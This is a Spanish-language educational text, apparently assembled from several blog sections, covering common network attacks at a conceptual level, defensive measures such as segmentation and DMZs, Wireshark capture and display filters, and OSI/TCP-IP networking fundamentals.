Un ataque DoS tiene como objetivo negar a una o más víctimas el acceso a los recursos de la red. En el caso de ARP, un atacante podría enviar mensajes de respuesta ARP que asignan falsamente cientos o incluso miles de direcciones IP a una sola dirección MAC, lo que podría sobrecargar la máquina de destino. Este tipo de ataque, a veces conocido como inundación ARP, también se puede utilizar para apuntar a los conmutadores, lo que podría afectar el rendimiento de toda la red.

Secuestro de sesión

Los ataques de secuestro de sesión son de naturaleza similar a Man-in-the-Middle, excepto que el atacante no reenviará el tráfico directamente desde la máquina de la víctima a su destino previsto, sino que el atacante capturará un número de secuencia TCP genuino o una cookie web de la víctima y lo usará para asumir la identidad de la víctima. Esto podría usarse, por ejemplo, para acceder a la cuenta de redes sociales de un usuario objetivo si está conectado.

Los ataques cibernéticos más frecuentes que ponen en riesgo a las compañías son:

  1. Phishing: es un tipo de estafa donde los cibercriminales intentan obtener acceso a una red por medio de spam en el correo electrónico u otros métodos de ingeniería social. La víctima proporciona datos e información confidencial y así obtienen acceso a la red. Por ejemplo, un ciberdelincuente puede conseguir “que haga clic” en un enlace y descargar algo malicioso para introducirlo en la red, o ese enlace puede llevarlo a un sitio falso donde le solicitan ingresar información específica sobre usted y la empresa para la que trabaja.
  2. DDoS (Denegación de servicio distribuida): es un ataque en el que múltiples fuentes se dirigen a un servidor web, sitio web u otro dispositivo de red. Lo llenan con una avalancha de mensajes, paquetes y solicitudes de conexión hasta lograr que el objetivo sea “bloqueado”, con ello los datos y el sistema en general no están disponibles para los usuarios.
  3. Malware: es un término abreviado que significa “software malicioso”. Es un software diseñado específicamente para obtener acceso o dañar una computadora sin el conocimiento del propietario. Hay varios tipos de malware que incluyen spyware, keyloggers, virus, gusanos o cualquier tipo de código malicioso que se infiltra en una computadora con el objetivo de bloquear o robar información.
  4. Ataques de contraseña: también conocidos como ataques de fuerza bruta, a menudo utilizan algún tipo de sistema automatizado para realizar el ataque empleando diferentes combinaciones de contraseña (como una lista de diccionario) para intentar ingresar. La mejor manera de evitar que este tipo de ataque sea exitoso, es implementar prácticas donde las contraseñas para usuarios, cuentas de servicio y credenciales cambien en un cronograma consistente; es decir, mensual, trimestral, etc, y limitar el número de intentos fallidos.
  5. Ransomware: es el ataque que mantiene despiertos a la mayoría de los ingenieros de seguridad, administradores, CSO y otro personal de TI durante la noche. Es un tipo de malware que bloquea y encripta los dispositivos en una red para evitar que alguien los use a menos que se pague un rescate. Una vez realizado el pago, el cifrado se desbloqueará y eliminará, o en algunos casos los cibercriminales no desbloquearán los dispositivos, haciendo que la empresa afectada incurra en otros gastos para recuperarse. Normalmente suelen usar phishing para propagarlo.

Protegiendo el entorno

Paso 1: Segmentación de redes

La segmentación de redes es una técnica utilizada para dividir una red en varias subredes o segmentos, con el objetivo de mejorar la seguridad, el rendimiento y la administración de la red. Se lleva a cabo mediante el uso de dispositivos de red como routers, firewalls o switches, que permiten controlar y restringir el tráfico entre diferentes segmentos de la red. Se usa normalmente para separar la red de servidores de los equipos de oficina por ejemplo, de tal forma que si vulneran ésta última, los servidores a priori seguirán intactos.

Existen varios métodos para implementar la segmentación de redes, entre los cuales se incluyen:

•VLAN (Virtual LAN): esta técnica permite crear redes lógicas independientes dentro de una misma infraestructura física, mediante la configuración de etiquetas o identificadores únicos para cada VLAN. Esto permite a los administradores restringir el tráfico entre diferentes segmentos de red, y mejorar la seguridad al evitar la propagación de ataques entre diferentes redes lógicas.

•Enrutamiento: mediante el uso de routers se pueden segmentar las redes de forma lógica, permitiendo controlar y restringir el tráfico entre diferentes redes.

•Firewalls: estos dispositivos permiten controlar y restringir el tráfico entrante y saliente de una red, ayudando a protegerla contra ataques externos.

•VPN (Red Privada Virtual): esta técnica permite conectar dispositivos remotos a una red de forma segura y privada, mediante el uso de túneles cifrados.

La segmentación de redes es esencial para mejorar la seguridad de la red, ya que permite restringir y controlar el tráfico entre diferentes segmentos de la red, evitando la propagación de ataques y limitando el acceso no autorizado a los dispositivos y servicios de la red.

Además de mejorar la seguridad, la segmentación de redes también ayuda a mejorar el rendimiento y la administración de la red, al permitir una mejor organización de los dispositivos y servicios, y una mayor flexibilidad en la configuración y el mantenimiento de la red.

En resumen, la segmentación de redes es una técnica esencial para mejorar la seguridad, el rendimiento y la administración de las redes, permitiendo un mejor control y restricción del tráfico entre diferentes segmentos de la red, evitando la propagación de ataques y limitando el acceso no autorizado.

Paso 2: Buena configuración

A pesar de que es casi imposible evitar un ataque cibernético, existen muchas recomendaciones de seguridad para reducir el riesgo. La mayoría de ellas están relacionadas con el factor humano, por lo que es muy importante la concienciación sobre la seguridad de la información entre otras como:

  • Mantener a los sistemas actualizados.
  • Tener implantado una cultura de ciberseguridad en la organización (ISO 27001, ENS, NIST etc).
  • Tener instalado sistemas de protección o dispositivos de seguridad.
  • Hacer uso de canales de comunicación segura como VPNs.
  • Gestión de los móviles de los empleados.
  • Gestión de contraseñas seguras.
  • etc.

Se ha mencionado tener instalados sistemas de protección, pero ¿cuáles son los dispositivos de seguridad o sistemas de protección más relevantes o que están más implantados en las organizaciones? Pues son:

  • Firewalls: es un software, hardware o una combinación de ambos que permite separar redes filtrando el tráfico, tanto el tráfico de entrada como de salida. Por ejemplo, si se quiere conseguir que el tráfico de internet no sea capaz de alcanzar nuestra red interna o que sólo se pueda dejar salir hacia el exterior un cierto tráfico de la red interna, pues eso se consigue haciendo uso de un FireWall.
  • DMZ: zona desmilitarizada o red perimetral, es una red aislada intermedia entre Internet y la red de la organización. En la DMZ se ponen los sistemas expuestos a internet -sistemas donde los usuarios externos pueden acceder- para que el tráfico de internet llegue a la DMZ pero no a la red interna y el tráfico de la DMZ tampoco alcance a la red interna, es decir, es una forma de segmentar las redes para que la red interna sea capaz de alcanzar la DMZ e internet pero el tráfico de internet o la DMZ no sea capaz de alcanzar la red interna. Se consigue haciendo uso de Firewalls y con el objetivo de que si un sistema de la DMZ se ve comprometido por un ataque, esto no afecte a la red interna de la organización. Además, la DMZ sólo es accesible a través de los puertos de los sistemas expuestos, por lo que el firewall que hay entre la DMZ e internet tiene que tener habilitados única y exclusivamente esos puertos. Se puede apreciar en la siguiente imagen el comportamiento del tráfico una vez implantado la DMZ:
  • HoneyPot: viene de tarro de miel y representan los sistemas que explícitamente desplegados emulan servicios especialmente atractivos que buscarían atacantes que accedieran a la red. El objetivo principal es atraer a atacantes y retenerlos durante un tiempo con el fin de identificarlos, identificar qué técnicas usa, que motivación tiene etc. Entre las acciones que puede realizar se encuentra: emular servicios con distinto nivel de realismo, mantener logs tanto locales como remotos de cualquier interacción realizada etc. Hay muchos tipos de Honeypots pero podemos destacar: los de baja interacción que emula servicios pero sólo abriendo puertos y los de alta interacción que emula servicios completamente. Por otro lado, el honeypot puede estar en varios sitios ubicados tal y como se observa en la siguiente captura:
  • IDS: o sistema de detección de intrusos, es un software o hardware encargado de detectar accesos no autorizados o comportamientos potencialmente maliciosos en un sistema o red. Estos sistemas suelen tener sensores o sondas de red, encargadas de recopilar el tráfico de red y enviarlo al sistema central para que lo analice y detecte posibles amenazas.

Paso 3: Limitar los servicios expuestos

Hay organizaciones que cuentan con una cantidad a considerar de escritorios remotos expuestos a internet que dan acceso a los servidores corporativos. Cada escritorio remoto es un punto de acceso para el cibercriminal hacia la red, y más aún si las credenciales son débiles o no se tienen implantadas políticas de bloqueo por intentos fallidos. La recomendación es usar VPNs y limitar a ser posible a 0 el uso de escritorios remotos débiles que den acceso a la red de los servidores.

Paso 4: Formación y Concienciación en Ciberseguridad

Por mucha tecnología que se use, el factor más débil y el por el cual los cibercriminales consiguen acceso es el factor humano. Por tanto, es esencial formar al personal para que sean capaces de detectar y responder antes ataques de tipo phishing y ransomware, y para que sigan buenas prácticas, reduciendo la probabilidad de caer en cualquier tipo de estafa, introducir credenciales usando redes públicas, etc.

Wireshark

Introducción

A finales del año 1997 Gerald Combs inició un proyecto como una forma de resolver problemas de red y avanzar en su carrera. Durante el desarrollo, varias personas se unieron al proyecto, contribuyendo con parches, informes de errores y otros componentes. En el año 2006, el proyecto cambió de nombre a Wireshark.

La versión 1.0 de la herramienta fue lanzada en 2008 después de años de desarrollo,  y en 2015 lanzó su versión 2.0 con una nueva interfaz de usuario.

Actualmente se encuentra en la versión 4.0.3 donde se corrigen bugs y vulnerabilidades y se actualiza el soporte a algunos protocolos. Esta versión está disponible y soportada para equipos con arquitectura x64. La última versión soportada para equipos Windows x32 es la 3.6.

Wireshark es ampliamente utilizado por administradores de red y analistas de red, así como por profesionales de la seguridad de la información.

Funcionalidad

Wireshark es un software de análisis de red que ayuda a los administradores de sistemas y de red a detectar y solucionar problemas en su red. Algunas de las funcionalidades o uso que se le puede dar a la herramienta son:

  • Identificar paquetes caídos.
  • Identificar problemas de latencia.
  • Identificar actividad maliciosa en la red.
  • Identificar mala configuración de los equipos.
  • Enseñar y verificar el funcionamiento de los protocolos (funcionalidad didáctica).

Por otro lado, ofrece herramientas y comandos para filtrar y analizar con más detalle el tráfico de red, permitiendo llegar a la causa raíz del problema. Es por tanto, una herramienta poderosa que requiere un conocimiento sólido de los conceptos de redes, incluyendo protocolos y servicios, la pila TCP/IP, encabezados de paquetes, enrutamiento y reenvío de puertos, y DHCP.

Uso del cibercriminal

Como vemos es una herramienta muy útil que puede ayudar, sin embargo, la tecnología no es buena ni mala sino que depende del uso que le dé la persona. Es decir, existen personas y grupo de personas que le dan otro uso: un uso malicioso. Los cibercriminales usan esta herramienta para capturar el tráfico de la red intentando conseguir información confidencial como usuarios o contraseñas, o incluso muchas veces, para grabar llamadas o conversaciones telefónicas. La técnica habitual es situarse en WiFis gratuitas para capturar todo el tráfico esperando que un usuario introduzca usuario, contraseña , datos bancarios, etc , en servicios donde la información viaje sin cifrar, como por ejemplo en sitios que ejecuten HTTP. ¿Entiendes ahora por qué se intenta no usar ya este servicio y la importancia de no acceder a sitios sensibles si estás usando una red gratuita pública?

Para grabar las llamadas telefónicas, el ciberdelincuente tiene que tener acceso a la red empresarial y sniffar (capturar) el tráfico SIP, RDP, etc. WireShark ofrece una funcionalidad específica que permite hacer eso de modo automático.

Filtros

Los filtros de Wireshark sirven para simplificar la búsqueda de paquetes. Es decir, si quieres ver sólo el tráfico TCP o los paquetes de una dirección IP concreta, tienes que aplicar los filtros adecuados en la barra de filtros.

Wireshark contempla dos tipos de Filtros: filtros de captura y filtros de visualización. El primero de ellos, se aplica antes de la operación de captura, sin poder modificarse después. La función es que se visualicen sólo los paquetes que cumplen los requisitos del filtro. Por otro lado, el segundo ellos, se utilizan después del inicio de la operación de captura y sirve para mostrar un criterio sobre los paquetes capturados, la captura se almacena realmente en un búfer de rastreo. A diferencia del primero se puede cancelar y cambiar posteriormente.

Sintaxis de los filtros y ejemplos de filtros de captura

Podemos combinar las primitivas de los filtros de la siguiente forma:

  • Negación: ! ó not
  • Unión o Concatenación: && ó and
  • Alternancia: || ó or

Filtros generales

SintaxisSignificado
host hostFiltrar por host
src host hostCapturar por host origen
dst host hostCapturar por host destino
 Ejemplos
host 197.163.1.50Captura todos los paquetes con origen y destino 197.163.1.50
src host 197.163.1.50Captura todos los paquetes con origen en host 197.163.1.50
dst host 197.163.1.50Captura todos los paquetes con destino en host 197.163.1.50
dst host SERVER-1Captura todos los paquetes con destino en host SERVER-1
host http://www.hackrocks.comCaptura todos los paquetes con origen y destino http://www.hackrocks.com

Filtros basados en puertos

SintaxisSignificado
port portCaptura todos los paquetes con puerto origen y destino port
src port portCaptura todos los paquetes con puerto origen port
dst port portCaptura todos los paquetes con puerto destino port
not port portCaptura todos los paquetes excepto origen y destino puerto port
not port port and not port port1Captura todos los paquetes excepto origen y destino puertos port y port1
  Ejemplos
port 23Captura todos los paquetes con puerto origen y destino 23
src port 24Captura todos los paquetes con puerto origen 24
not port 25 and not port 80Captura todos los paquetes excepto origen y destino de los puertos 25 y 80
portrange 1-1024Captura todos los paquetes con puerto origen y destino en un rango de puertos 1 a 1024
dst portrange 1-1024Captura todos los paquetes con puerto destino en un rango de puertos 1 a 1024

Filtros basados en protocolo Ethernet / IP

Ejemplos
ipCaptura todo el tráfico IP
ip proto \tcpCaptura todos los segmentos TCP
ether proto \ipCaptura todo el tráfico IP
ip proto \arpCaptura todo el tráfico ARP

Filtros basados en red

SintaxisSignificado
net netCaptura todo el tráfico con origen y destino red net
dst net netCaptura todo el tráfico con destino red net
src net netCaptura todo el tráfico con origen red net
Ejemplos
net 192.168.1.0Captura todo el tráfico con origen y destino subred 1.0
net 192.168.1.0/24Captura todo el tráfico para la subred 1.0 mascara 255.0
dst net 192.168.2.0Captura todo el tráfico con destino para la subred 2.0
net 192.168.2.0 and port 21Captura todo el tráfico origen y destino puerto 21 en subred 2.0
broadcastCaptura solo el tráfico broadcast
not broadcast and not multicastCaptura todo el tráfico excepto el broadcast y el multicast

Filtros de Visualización (Display Filter)

Los filtros de visualización establecen un criterio de filtro sobre las paquetes que estamos capturando y qué estamos visualizando en la pantalla principal de Wireshark. Al aplicar el filtro en la pantalla principal de Wireshark aparecerá solo el tráfico filtrado a través del filtro de visualización.

Comparando Filtros.

§  Igual a: eq ó ==

§  No igual: ne ó !=

§  Mayor que:gt ó >

§  Menor que: lt ó <

§  Mayor o igual: ge ó >=

§  Menor o igual: le ó <=

Combinando Filtros.

§  Negación: ! ó not

§  Unión o Concatenación: && ó and

§  Alternancia:|| ó or

Otros operadores.

§  Contains: Realizamos una búsqueda por la cadena contains

Ejemplos de filtro

SintaxisSignificado
ip.addr == 194.164.1.40Visualizar tráfico por host 194.164.1.40
ip.addr != 196.164.1.25Visualizar todo el tráfico excepto host 196.164.1.25
ip.dst == 197.165.1.50Visualizar por host destino197.165.1.50
ip.src == 197.165.1.50Visualizar por host origen 197.165.1.50
ipVisualiza todo el tráfico IP
tcp.port ==143Visualiza todo el tráfico origen y destino puerto 143
ip.addr == 197.165.1.50 and tcp.port == 143Visualiza todo el tráfico origen y destino puerto 143 relativo al host 197.165.1.50
http contains «http://www.hackrocks.com «Visualiza el tráfico origen y destino http://www.hackrocks.com
frame contains «@micurso.es»Visualizamos todos los correos con origen y destino al dominio micurso.es, incluyendo usuarios, etc
icmp[0:1] == 08Filtro avanzado con el que visualizamos todo el tráfico icmp de tipo echo request
ip.ttl == 1Visualiza todos los paquetes IP cuyo campo TTL sea igual a 1
tcp.windows_size != 0Visualizar todos los paquetes cuyo campo Tamaño de Ventana del segmento TCP sea distinto de 0
ip.tos == xVisualiza todos los paquetes IP cuyo campo TOS sea igual a x
ip.flags.df == xVisualiza todos los paquetes IP cuyo campo DF sea igual a x
udp.port == 53Visualiza todo el tráfico UDP puerto 53
tcp contains «terra.com»Visualizamos segmentos TCP conteniendo la cadena terra.com

Analizando tráfico

Una prueba de concepto simple para entender cómo funciona un poco WireShark, es abrir la herramienta, seleccionar la interfaz de red que corresponda (en mi caso Ethernet porque estoy conectado por cable) y empezar a capturar tráfico.

En esta ocasión, tengo varias ventanas abiertas en el navegador y de forma adicional he lanzado un ping al dominio de google y he entrado en la web de comunio.

El objetivo será filtrar toda la cantidad de paquetes que salen para conseguir sólo los del ping y los relacionados con comunio.

El escenario de salida es el siguiente:

Primero, intentemos obtener los paquetes del ping. Para ello, lo podemos buscar por la IP destino que la propia herramienta nos devuelve, o podemos usar el filtro de icmp buscando los echo request (Tipo 8, código 0) o los echo reply (Tipo 0, Código 0), por ejemplo.

Al aplicar cualquiera de los filtros, encontramos los paquetes que vamos buscando. Ahora, pasemos a fijarnos bien, porque Wireshark no sólo nos muestra el tipo de mensaje, sino que despliega en el menú inferior las distintas capas del modelo TCP/IP con sus distintos campos y cabeceras.

En la captura anterior, hemos clicado sobre uno de los echo request lanzados por nuestro PC hacia google. Podemos ver las distintas capas con el origen y destino, así como las distintas cabeceras de los distintos protocolos. El protocolo ICMP es específico del ping, y va encapsulado sobre el protocolo IP, pero en esta ocasión se despliega aparte para una mejor visualización de sus campos.

Ahora, probemos a obtener el tráfico capturado hacia la web de comunio. Para ello podemos hacer un ping al dominio de comunio.es para averiguar la IP destino e incluirla en nuestro filtro. Al encontrarlo, podemos observar que el dominio usa HTTPS con el protocolo TLSv1.2 (comunicación cifrada).

En esta ocasión, podemos ver como aparecen la capa de transporte TCP y la de aplicación (según el modelo de capas de internet) TLS. En este último, podemos ver como la información va cifrada.

Fundamentos de Internet (protocolos)

Torre de protocolos

Es un conjunto de protocolos implementados en un sistema ordenados según su posición en el modelo y permite definir las entidades que se comunican y el nivel al que lo hacen.

Una torre de protocolos es un despliegue de los distintos protocolos en la capa correspondiente para ver qué es lo que se está ejecutando en la comunicación de cada equipo y cómo se comunican esos equipos.

En la siguiente imagen se pueden apreciar los distintos dispositivos que nos podríamos encontrar en una red y a la capa que son capaces de llegar. Podemos ver que:

– El  repetidor (o HUB) tan sólo es capaz de llegar a la capa 1, ya que sólo se encarga de reenviar los 0s y 1s que recibe (lo que le entra por un lado lo saca por el otro).

– El puente OSI (o switch) es capaz de llegar hasta la capa de enlace. Se usan para conectar equipos a las redes.

– El encaminador (o router) que capaz de alcanzar la capa de red. Recordemos que es el encargado de encaminar y reenviar los paquetes entre distintas redes.

– El sistema final que llega hasta la capa de aplicación. Recordemos que son en los equipos finales donde se ejecutan los procesos de las aplicaciones distribuidas.

Además, en la imagen anterior podemos apreciar que el equipo final origen tiene que encapsular su mensaje para que pueda atravesar los distintos equipos intermedios, los cuales desencapsularán los mensajes hasta la capa que puedan llegar (exceptuando el repetidor que no desencapsula nada ya que solo copia en la salida los 0s y 1s que recibe en la entrada).

Por último vamos a proceder a ver un ejemplo completo de torre de protocolos siguiendo el modelo que se sigue en internet.

En la imagen anterior se puede apreciar que en un host final se está ejecutando un navegador web chrome y al otro lado otro host está ejecutando un servidor apache. La torre de protocolos del host final, tendría http si es una navegación no segura, en la capa de transporte estaríamos ejecutando tcp, en la de red estaría IP, en la capa de enlace estaríamos ejecutando la 802.11 ya que estaríamos utilizando enlace WIFI y en la física está la 802.11ax que la d es uno de los protocolos WiFI que ha salido recientemente.

En el primer encaminador (mirando de izquierda a derecha) se estaría ejecutando en el enlace físico el 802.11ax para que sea una entidad par con el emisor, y como es un Router, tan solo llega hasta el nivel 3. En la otra pata que se comunica con otro router a través de un enlace punto a punto, la capa IP se mantiene pero la de enlace pasa a ser PPP, y después ya tendría alguno físico correspondiente al enlace dado.

En el segundo encaminador, la primera pata coincide con la entidad par del otro router y la otra pata que está conectada conectada a un servidor apache, como es un enlace ethernet estaría ejecutando en red IP, en enlace la 802.3 que es donde se define ethernet y en físico estaría por ejemplo la que observamos en la imagen, la 802.3ab.

El equipo final donde se ejecuta el servidor apache tendría lo mismo que el router hasta la capa de red para que sea entidad par, añadiendo TCP como transporte y HTTP como aplicación, para que sean entidades pares con las del equipo final donde se ejecuta el navegador web.

Como conclusión, vemos cómo hay una comunicación entre entidades pares, entre hosts finales que los dos llegan hasta aplicación y con el mismo protocolo, en transporte y red igual y lo que va cambiando o alternándose son los distintos protocolos de enlace y físico porque en esa comunicación va variando esas capas en los distintos equipos intermedios, pasando de wifi a ppp y de ahí a ethernet.

Comunicación App-Transporte. Sockets

Hemos hablado de que las capas de entidades pares se comunican y que para hacerlo necesitan hacer uso o prestar un servicio a las otras capas. Si una aplicación quiere enviar un mensaje, debe usar el servicio de la capa de transporte y para ello se crean lo que se conocen como sockets.

Los sockets son como APIs ofrecidas por el S.O para usar la red y que ayuda al flujo de datos entre procesos. Además:

– Es lo que permite que un proceso de App acceda a los servicios de transporte. Es como establecer un destino para que la aplicación pueda comunicarse con esa capa de transporte.

– El socket creado es identificado de forma única localmente usando el par IP:puerto.

– En un host puede haber múltiples aplicaciones y cada aplicación puede crear múltiples sockets. La forma que tiene el S.O de diferenciarlos es a partir del par IP:puerto.

– Para que la aplicación solicite el servicio de transporte, necesita usar Primitivas de Acceso al servicio. Por ejemplo, es como alguien que quiera viajar de España a Francia quiera solicitar el transporte de un avión, pues antes necesita comprar el billete. Haciendo la analogía, una aplicación para poder enviar un mensaje del emisor al destino necesita solicitar el servicio de transporte necesario y para ello utiliza los sockets.

Por último, existen librerías con dichas primitivas para el uso de sockets. En el lenguaje C -> #include <socket.h>; En Python -> import socket

La capa de transporte

Tras entender qué es una aplicación distribuida, el modelo de capas, cómo se comunican entre ellas y entre entidades pares,  vamos a explicar un poco más en detalle la capa de transporte.

La capa de transporte ofrece una comunicación lógica entre procesos de aplicación de equipos distintos.

El funcionamiento básico sería el siguiente:

– El emisor recibe mensajes de aplicación y genera segmentos (T-PDU). En la cabecera de segmento se identifican los procesos de aplicación destino y origen con puerto destino y origen.

– El receptor recibe segmentos, lee la cabecera (T-PCI) y avisa al proceso app destino.

Se ha hablado de puerto origen y destino pero, ¿qué es un puerto? 

Un puerto es un entero de 16 bits ( 2^16 valores posibles -> 0-65535). Los posibles valores que toman son:

– < 1024 (well-known ports): puertos reservados para aplicaciones generales registradas en IANA.

– 1024-49151( puertos registrados ): se usan para aplicaciones no tan generales

– > 49151: puertos dinámicos o efímeros

Capas

Modelo de capas

Previamente hemos comentado que los procesos de las aplicaciones distribuidas necesitan comunicarse para cooperar y ofrecer un servicio. Dicha comunicación requiere resolver múltiples problemas, y el modelo de capas da una solución modular que requiere descomponer varios servicios interdependientes donde:- El servicio pertenecerá a un nivel o capa según las tareas que realice, y dependerá del servicio de nivel inferior (usa al nivel inferior).
– Cada servicio tendrá su forma propia de solicitarlo y un protocolo que permita la colaboración de entidades pares.


En la siguiente imagen podemos observar una aplicación distribuida de multiplicación donde en cada equipo se ejecuta un proceso y  la capa de aplicación necesita apoyarse sobre la capa de red y transporte para lograr comunicarse con el otro extremo. La idea es observar como un servicio que ofrecen las aplicaciones distribuidas se puede descomponer en varios niveles o capa, donde en cada uno se realiza una tarea distinta. Por ejemplo,  en el de aplicación  es donde se realizaría las tareas en sí de la aplicación pero ese servicio requieren utilizar la capa de red para poder comunicarse con el proceso remoto (en otra red o en la misma) que ocurre en otro equipo informático que a su vez necesita de la capa de enlace para establecer un medio físico por donde viajarán los 0s y 1s correspondientes del mensaje.

Modelo OSI

Es un estándar de referencia para el intercambio de datos entre procesos de aplicación (Standard ISO/IEC 7498/ITU-X.200), desarrollado por la Organización Internacional de Normalización ISO en 1984, cuya arquitectura  se basa en 7 capas/niveles donde:

  • Cada capa ofrece un servicio a la capa superior y usa los servicios del nivel inferior.
  • Las entidades pares de cada capa cooperan para ofrecer un servicio.

En las siguiente imágenes se describen los funciones y objetivos de cada nivel.

Como ya hemos comentado,  las entidades pares deben colaborar entre ellas y para eso deben intercambiar mensajes y dar así el servicio. Los mensajes intercambiados entre entidades de un mismo nivel se conoce como PDU (unidad de datos del protocolo), y por tanto cada capa tiene una N-PDU (donde N es el nivel o capa).

Una N-PDU está compuesta por:

  • N-PCI o información de control del protocolo: información intercambiada entre entidades N para coordinar su operación conjunta.
  • N-SDU o unidad de datos del servicio: son los datos que le ha pasado la entidad superior (N+1) a la N.

Además, una N-PDU suele encapsular la PDU de nivel superior tal y como se muestra en la siguiente imagen:

De tal forma que la 2-PDU se podría expresar como: 2-PCI+3-PCI+4-PCI+5-PCI+6-PCI+7-PCI+7-SDU o 2-PCI+3-PCI+3-SDU, etc.

Por último, al igual que una capa superior usa una inferior, también hemos dicho que una inferior puede solicitar un servicio de la superior, pero ¿cómo? Pues existe un Interfaz de Uso del servicio que define cómo solicitar los servicios de una entidad de una capa:

En la imagen anterior además, se pueden observar dos términos importantes a la hora de comprender esa solicitud del servicio. El primer término es SAP, que son los puntos de acceso al servicio e identifica a la entidad que ofrece el servicio. El otro término es primitiva, que es el protocolo de interacción, es como la función que permite solicitar ese servicio. Por otro lado se habla de encapsular y desencapsular. Cada vez que el mensaje baja una capa se dice que se encapsula ya que añade la cabecera y el mensaje encapsulándolo en la SDU de nivel inferior. Cuando el procedimiento es al contario, es decir, cuando es el servicio inferior el que usa al superior (se sube en una capa) se desencapsula el mensaje ya que se desmenuza la SDU de nivel inferior, descubriendo la PCI y SDU de nivel superior.

Modelo TCP/IP

Modelo creado por Vinton Cerf y Robert Khan en 1970. Es el que hay en internet actualmente y fue implantando en la red ARPANET ( primera red de área amplia o WAN), también conocido como modelo DoD o DARPA ya que fue desarrollado por encargo de DARPA ( Departamento de Defensa de los Estados Unidos).


Este modelo describe un conjunto de guías generales de operaciones para permitir que un equipo se pueda comunicar en una red, especificando cómo los datos deberían ser formateados, direccionados, transmitidos, enrutados y recibidos. El mismo se divide en 4 capas.

Si lo comparamos con el modelo OSI, éste no es un modelo de capas independientes, más bien es un conjunto de protocolos interrelacionados que pueden ser clasificados como pertenecientes a una capa OSI en función del servicio que prestan. Tal y como se ve en la siguiente imagen , la capa de aplicación del modelo TCP/IP englobaría las capas de Aplicación, Presentación y Sesión del modelo OSI. Así mismo las de Host del modelo TCP/IP englobaría a la capa de Enlace y Físico del modelo OSI.

Por último, según en qué capa analicemos el mensaje, el mismo adquiere distinta terminología:

– El mensaje que se genere en la capa de aplicación se conoce como mensaje.

– Una vez que estemos hablando del mensaje en la capa 4 del modelo OSI o de la capa 3 del modelo de internet, pasaría a conocerse como segmento, es decir, la cabecera de transporte más el mensaje (en el modelo TCP/IP) es lo que conoce como un segmento.

– Si estuviéramos en el nivel 3 se conoce como datagrama. Cuando hablamos de datagrama nos estamos refiriendo a la cabecera de red, más la cabecera de transporte más todos los datos que van encapsulados de las capa de aplicación.

– Cuando estamos a nivel de enlace se denomina trama: que sería la cabecera de enlace,  más cabecera de red, más cabecera de transporte, más el mensaje de la aplicación. La trama es lo que se envía al medio físico.

Fundamentos de Internet

Formas de Interconexión

Tras ver ya los lenguajes que entienden los ordenadores, así como algunas definiciones relevantes, vamos a profundizar en las formas de conexión existentes entre los equipos.

Las formas de interconexión a grandes escalas son dos: directa e indirecta. En la directa se usa un enlace para comunicar a dos o más equipos de la misma red, mientras que en la indirecta se hace uso de conmutadores de paquetes.

Dentro de las conexiones directas existen dos subtipos:

1. Punto a punto: un cable une a dos equipos a nivel de enlace.

2. Acceso múltiple: existen muchos equipos conectados entre sí a través de un mismo cable conocido como BUS.

Dentro las conexiones indirectas, existen dos subtipos:

1. Redes conmutadas (LAN): donde se usan switches y es una red de área local.

2. Conjunto de redes conmutadas (internet): son necesarios el uso de los routers o encaminadores.

Estructura de Internet

Internet hemos visto que es el conjunto de equipos y redes que se comunican entre sí. La forma estructural de internet se podría dividir de la siguiente forma:


1. Borde de la Inter-red: es donde residen los hosts o nodos ( equipos finales ejecutando Apps).

2. Redes de acceso: son las que le proporcionan a los hosts finales la conexión con el resto de internet.

3. Redes de núcleo: es el conjunto de redes interconectadas a través del mundo . En ellas están los ISP’s o proveedores de Internet. Los ISPs tienen una jerarquía donde los de menor tamaño se comunican a través de los de mayor tamaño y la interconexión directa entre ISP’s se da mediante puntos de intercambio de tráfico (IXP).


Por último, los enlaces comparten su régimen binario entre todos los usuarios de internet.

Núcleo de la red. Compartición de recursos

Nosotros como usuario final en el entorno local, solo generamos tráfico y sólo dependemos del régimen binario de nuestra tarjeta de red. Sin embargo, cuando se hace una consulta a través de internet, esos paquetes viajan atravesando el núcleo de la red (los distintos routers conectados a través de enlaces), es decir de los distintos equipos que hay en el mundo, reenviando el paquete hasta llegar al destino. Por tanto, si escalamos el mismo escenario a muchos usuarios llegamos a la conclusión de que todos compartimos esos recursos/enlaces obligando a buscar una forma de compartir los recursos. En otras palabras, el uso de enlaces compartidos entre los usuarios obliga a fijar una forma de “repartir” el uso de la capacidad de conmutación de los conmutadores de paquetes y del régimen binario de sus enlaces. Existen dos forma:

1. Conmutación de circuitos: se usa por ejemplo en la red telefónica y se dedica un circuito (se reserva parte del régimen binario de cada enlace en el camino para la comunicación) para cada comunicación durante toda su duración. Es lo que se conoce como multiplexión por división en el tiempo.

Como podemos ver en la siguiente imagen,  hay un equipo que está ejecutando Discord que se quiere conectar a otro equipo que también lo está ejecutando. En esa llamada telefónica se podría reservar un (camino rojo), con parte del régimen binario de los enlaces,  para que cuando surja otra llamada (camino azul) , se le pueda llegar a dar otro circuito (otro trozo de régimen binario) y la llamada se pueda cursar en caso de coincidencia de enlaces. 



2. Conmutación de paquetes: los datos se envían a la red en paquetes o bloques sin dedicación de recursos exclusiva, es decir, cada paquete usa toda la capacidad del canal (todo el régimen binario) cuando le toca ser servido. Esto hace que sea necesario un búfer (un almacén para los paquetes hasta que se puedan procesar y enviar)  y se reduzca la probabilidad de pérdidas. Es lo que se conoce como multiplexión estadística.

Aplicaciones distribuidas

Una aplicación distribuida no es más que un servicio que se le ofrece a un usuario y para el cual cooperan procesos distintos equipos informáticos. Pueden ir desde un buscador web como google hasta la redes de bitcoin.

En las aplicaciones distribuidas cada proceso necesita usar primitivas del servicio de transporte de mensajes entre procesos para enviar o recibir mensajes y se necesita establecer una organización de esos procesos. Para indicar la organización de la aplicación entre varios procesos, es decir, como los diferentes procesos que componen la aplicación se comunican entre sí se usa lo que se conoce como una Arquitectura. Se distinguen tres tipos de arquitecturas:

1. Cliente-Servidor: un cliente inicia la comunicación con el servidor. Éste último siempre está activo, tiene una dirección IP permanente conocida por los clientes y está en escucha de peticiones de muchos clientes. No existen comunicación entre clientes. Ej: Buscador web


2. Peer to peer (P2P): es un cliente + servidor pero con características de sólo clientes, por lo que sólo hay comunicación entre clientes. Ej: Bitcoin, BitTorrent, Freenet, Ares, GNutella, etc.


3. Mixta: los peers consultan servidores para saber con qué peers deben comunicarse y obtener lo que buscan. Ej: Skype, utorrent, etc.

Cada aplicación elige el nivel de transporte que más se adecúe a sus necesidades. Por ejemplo, una aplicación web tradicional usa el protocolo de aplicación HTTP (no seguro ya que no cifra) y el servicio de transporte que usa es TCP. Por otro lado un servicio de streaming multimedia puede usar HTTP o RTP (RFC 1889) como protocolo de aplicación y  TCP o UDP como protocolo de transporte.